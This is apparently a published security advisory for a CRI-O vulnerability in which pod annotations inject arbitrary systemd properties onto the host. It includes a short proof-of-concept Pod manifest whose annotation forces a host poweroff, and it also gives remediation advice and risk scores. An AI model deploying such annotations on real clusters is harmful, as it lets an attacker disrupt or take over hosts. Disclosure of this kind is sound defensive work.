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GHSA-2cgq-h8xw-2v5j

HighCVSS 7.2 / 10
Published Apr 30, 2024·Last modified May 4, 2026
Affected Components(0)

No affected components available

Description

Impact

On CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:

---
apiVersion: v1
kind: Pod
metadata:
  name: poc-arbitrary-systemd-property-injection
  annotations:
    # I believe that ExecStart with an arbitrary command works here too,
    # but I haven't figured out how to marshalize the ExecStart struct to gvariant string.
    org.systemd.property.SuccessAction: "'poweroff-force'"
spec:
  containers:
    - name: hello
      image: [quay.io/podman/hello](http://quay.io/podman/hello)

This means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.

Tested with CRI-O v1.24 on minikube. I didn't test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367

Thanks to Cédric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations: https://github.com/opencontainers/runc/pull/3923#discussion_r1532292536

CRI-O has to filter out annotations that have the prefix "org.systemd.property."

See also:

  • https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson
  • https://github.com/opencontainers/runc/pull/4217

Workarounds

Unfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations

References

Risk Scores
Base Score
7.2

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
6.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
1.42%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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